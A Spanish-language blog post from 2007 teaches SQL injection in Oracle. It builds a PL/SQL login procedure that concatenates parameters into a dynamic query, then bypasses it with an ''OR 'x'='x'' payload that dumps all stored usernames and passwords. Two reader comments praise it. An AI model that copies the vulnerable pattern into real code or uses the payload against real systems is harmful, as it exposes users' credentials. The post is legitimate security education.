sábado, 14 de julio de 2007

SQL Injection

SQL Injection es una técnica de ataque a una base de datos. Mediante una aplicación Web, el atacante puede modificar los parámetros que envía desde un formulario hacia la base de datos y de ésta manera, modificar la sentencia SQL que se ejecuta. Podemos ejecutar sentencias DML, DDL... entre otras cosas.

Veamos un ejemplo de SQL Injection en Oracle:

Creamos una tabla para nuestra prueba que contiene usuarios y passwords:


SQL_9iR2> CREATE TABLE login AS
2 SELECT 'user_'||level username, to_char(level*10000) password
3 FROM dual
4 CONNECT BY level <= 5 ; Table created.

SQL_9iR2> SELECT *
2 FROM login ;

USERNAME PASSWORD
---------------- ----------
user_1 10000
user_2 20000
user_3 30000
user_4 40000
user_5 50000

5 rows selected.


Creamos un procedimiento de login que recibe como parámetros el usuario y password de validación. Si los datos son correctos, se devuelven todos los usuarios y passwords de la tabla login, en caso contrario se devuelve una leyenda de error:


SQL_9iR2> CREATE OR REPLACE PROCEDURE pr_login
2 (
3 p_username IN VARCHAR2 ,
4 p_password IN VARCHAR2
5 )
6 IS
7 l_flag BOOLEAN DEFAULT FALSE ;
8 l_cursor SYS_REFCURSOR ;
9 l_query VARCHAR2(4000) ;
10 registro login%ROWTYPE ;
11 BEGIN
12 l_query := 'SELECT *'
13 ||' FROM login'
14 ||' WHERE username = '''||p_username||''''
15 ||' AND password = '''||p_password||'''' ;
16
17 dbms_output.put_line('CONSULTA: '||l_query) ;
18
19 OPEN l_cursor FOR l_query ;
20 LOOP
21 FETCH l_cursor INTO registro ;
22 EXIT WHEN l_cursor%NOTFOUND ;
23 dbms_output.put_line('USER : '||registro.username||'
'||'PASS:'||registro.password) ;
24 IF NOT ( l_flag ) THEN
25 l_flag := TRUE ;
26 END IF ;
27 END LOOP ;
28 CLOSE l_cursor ;
29 IF NOT ( l_flag ) THEN
30 dbms_output.put_line('LOGIN INCORRECTO!') ;
31 END IF ;
32 EXCEPTION
33 WHEN OTHERS THEN
34 dbms_output.put_line('LOGIN INCORRECTO!') ;
35 END ;
36 /

Procedure created.


Bien, ahora vamos a probar nuestro procedimiento de login:


SQL_9iR2> EXEC pr_login('user_2','123456789') ;

CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789'

LOGIN INCORRECTO!

PL/SQL procedure successfully completed.


El procedimiento anduvo a la perfección! Validó el usuario y password, y como resultan ser incorrectos, nos devolvió un error.
Fijense que en el procedimiento incluimos una linea de código (la nro. 17) que nos va a mostrar la sentencia SQL que estamos ejecutando.

Ahora probemos nuevamente ejecutar el procedimiento de login pero modificando el segundo parámetro:


SQL_9iR2> EXEC pr_login('user_2','123456789'' OR ''x''=''x') ;

CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789' OR 'x'='x'

USER : user_1 PASS: 10000
USER : user_2 PASS: 20000
USER : user_3 PASS: 30000
USER : user_4 PASS: 40000
USER : user_5 PASS: 50000

PL/SQL procedure successfully completed.


Les presento a SQL Injection! Como acabamos de observar, modificando uno de los parámetros, pudimos lograr modificar la sentencia SQL que se ejecuta en la base de datos y por consiguiente, ver todos los usuarios y passwords de la tabla login.

La única pregunta que queda por hacer es: ¿ Qué tan segura es su aplicación ?

2 comentarios:

Herces dijo...

Excelente post.

Anónimo dijo...

Fabuloso post..Quisiera saber si desde Oracle existe una forma de garantizar los niveles de seguidad en un Web page..

Mil Gracias!!

The views expressed on this blog are my own and do not necessarily reflect the views of Oracle.